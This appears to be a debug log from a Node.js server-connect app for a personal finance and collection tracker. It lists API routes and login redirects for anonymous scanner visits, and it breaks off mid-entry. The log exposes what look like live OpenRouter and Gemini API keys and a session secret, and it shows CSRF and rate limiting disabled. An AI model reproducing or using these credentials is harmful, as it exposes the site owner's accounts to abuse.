2026-06-14T14:41:18.448Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T14:41:18.448Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T14:41:18.448Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T14:41:18.476Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T14:41:18.477Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T14:41:18.477Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T14:41:18.478Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T14:41:18.478Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T14:41:18.479Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T14:41:18.479Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T14:41:18.479Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T14:41:18.480Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T14:41:18.480Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T14:41:18.480Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T14:41:18.481Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T14:41:18.481Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T14:41:18.482Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T14:41:18.482Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T14:41:18.482Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T14:41:18.483Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T14:41:18.545Z server-connect:router Serving templateView /
2026-06-14T14:41:18.547Z server-connect:app Executing action step identify
2026-06-14T14:41:18.547Z server-connect:app options: { provider: 'security' }
2026-06-14T14:41:18.549Z server-connect:auth No login cookie found
2026-06-14T14:41:18.549Z server-connect:output identity: false
2026-06-14T14:41:18.549Z server-connect:app Executing action step restrict
2026-06-14T14:41:18.549Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T14:41:18.552Z server-connect:output restrict: undefined
2026-06-14T14:41:18.684Z server-connect:router Serving templateView /login
2026-06-14T14:41:18.684Z server-connect:app Executing action step identify
2026-06-14T14:41:18.684Z server-connect:app options: { provider: 'security' }
2026-06-14T14:41:18.684Z server-connect:auth No login cookie found
2026-06-14T14:41:18.684Z server-connect:output identity: false
2026-06-14T14:41:18.684Z server-connect:router Render template layouts/authentication
2026-06-14T14:41:18.685Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.171.80.101',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T14:41:18.682Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.171.80.101',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.171.80.101',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T15:00:01.327Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T15:00:01.497Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T15:00:01.577Z server-connect:setup:upload Upload middleware configured.
2026-06-14T15:00:01.578Z server-connect:secure CSRF Protection initialized
2026-06-14T15:00:01.580Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T15:00:01.581Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T15:00:01.582Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T15:00:01.582Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T15:00:01.583Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T15:00:01.583Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T15:00:01.584Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T15:00:01.585Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T15:00:01.588Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T15:00:01.588Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T15:00:01.588Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T15:00:01.589Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T15:00:01.589Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T15:00:01.589Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T15:00:01.590Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T15:00:01.590Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T15:00:01.590Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T15:00:01.590Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T15:00:01.591Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T15:00:01.591Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T15:00:01.591Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T15:00:01.592Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T15:00:01.592Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T15:00:01.592Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T15:00:01.592Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T15:00:01.592Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T15:00:01.593Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T15:00:01.593Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T15:00:01.593Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T15:00:01.593Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T15:00:01.594Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T15:00:01.595Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T15:00:01.595Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T15:00:01.689Z server-connect:router Serving templateView /
2026-06-14T15:00:01.691Z server-connect:app Executing action step identify
2026-06-14T15:00:01.691Z server-connect:app options: { provider: 'security' }
2026-06-14T15:00:01.693Z server-connect:auth No login cookie found
2026-06-14T15:00:01.693Z server-connect:output identity: false
2026-06-14T15:00:01.693Z server-connect:app Executing action step restrict
2026-06-14T15:00:01.693Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T15:00:01.696Z server-connect:output restrict: undefined
2026-06-14T15:00:01.735Z server-connect:router Serving templateView /login
2026-06-14T15:00:01.735Z server-connect:app Executing action step identify
2026-06-14T15:00:01.735Z server-connect:app options: { provider: 'security' }
2026-06-14T15:00:01.735Z server-connect:auth No login cookie found
2026-06-14T15:00:01.735Z server-connect:output identity: false
2026-06-14T15:00:01.735Z server-connect:router Render template layouts/authentication
2026-06-14T15:00:01.736Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.187.169.21',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T15:00:01.733Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.187.169.21',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.187.169.21',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T15:19:01.299Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T15:19:01.445Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T15:19:01.545Z server-connect:setup:upload Upload middleware configured.
2026-06-14T15:19:01.546Z server-connect:secure CSRF Protection initialized
2026-06-14T15:19:01.547Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T15:19:01.549Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T15:19:01.549Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T15:19:01.550Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T15:19:01.551Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T15:19:01.551Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T15:19:01.552Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T15:19:01.553Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T15:19:01.553Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T15:19:01.554Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T15:19:01.579Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T15:19:01.579Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T15:19:01.579Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T15:19:01.580Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T15:19:01.580Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T15:19:01.581Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T15:19:01.581Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T15:19:01.581Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T15:19:01.581Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T15:19:01.582Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T15:19:01.582Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T15:19:01.582Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T15:19:01.583Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T15:19:01.583Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T15:19:01.583Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T15:19:01.583Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T15:19:01.584Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T15:19:01.584Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T15:19:01.584Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T15:19:01.584Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T15:19:01.585Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T15:19:01.585Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T15:19:01.585Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T15:19:01.585Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T15:19:01.585Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T15:19:01.586Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T15:19:01.586Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T15:19:01.586Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T15:19:01.647Z server-connect:router Serving templateView /
2026-06-14T15:19:01.649Z server-connect:app Executing action step identify
2026-06-14T15:19:01.649Z server-connect:app options: { provider: 'security' }
2026-06-14T15:19:01.651Z server-connect:auth No login cookie found
2026-06-14T15:19:01.651Z server-connect:output identity: false
2026-06-14T15:19:01.651Z server-connect:app Executing action step restrict
2026-06-14T15:19:01.651Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T15:19:01.678Z server-connect:output restrict: undefined
2026-06-14T15:19:01.832Z server-connect:router Serving templateView /login
2026-06-14T15:19:01.832Z server-connect:app Executing action step identify
2026-06-14T15:19:01.832Z server-connect:app options: { provider: 'security' }
2026-06-14T15:19:01.832Z server-connect:auth No login cookie found
2026-06-14T15:19:01.832Z server-connect:output identity: false
2026-06-14T15:19:01.833Z server-connect:router Render template layouts/authentication
2026-06-14T15:19:01.833Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=6f2eff16d4f0be0377e3f0a3b6a036ff08cd3e08.1781453940.1',
    'x-forwarded-for': '205.169.39.30',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '6f2eff16d4f0be0377e3f0a3b6a036ff08cd3e08.1781453940.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T15:19:01.830Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.30',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=6f2eff16d4f0be0377e3f0a3b6a036ff08cd3e08.1781453940.1',
    'HTTP_X_FORWARDED-FOR': '205.169.39.30',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T15:19:09.133Z server-connect:router Serving templateView /
2026-06-14T15:19:09.133Z server-connect:app Executing action step identify
2026-06-14T15:19:09.133Z server-connect:app options: { provider: 'security' }
2026-06-14T15:19:09.133Z server-connect:auth No login cookie found
2026-06-14T15:19:09.133Z server-connect:output identity: false
2026-06-14T15:19:09.133Z server-connect:app Executing action step restrict
2026-06-14T15:19:09.133Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T15:19:09.134Z server-connect:output restrict: undefined
2026-06-14T15:19:09.277Z server-connect:router Serving templateView /login
2026-06-14T15:19:09.277Z server-connect:app Executing action step identify
2026-06-14T15:19:09.277Z server-connect:app options: { provider: 'security' }
2026-06-14T15:19:09.277Z server-connect:auth No login cookie found
2026-06-14T15:19:09.277Z server-connect:output identity: false
2026-06-14T15:19:09.277Z server-connect:router Render template layouts/authentication
2026-06-14T15:19:09.278Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=ef5ebc026dd3a5f9d8449ec305acdcea4f38cb6e.1781453948.1',
    'x-forwarded-for': '34.72.176.129',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: 'ef5ebc026dd3a5f9d8449ec305acdcea4f38cb6e.1781453948.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T15:19:09.276Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.72.176.129',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
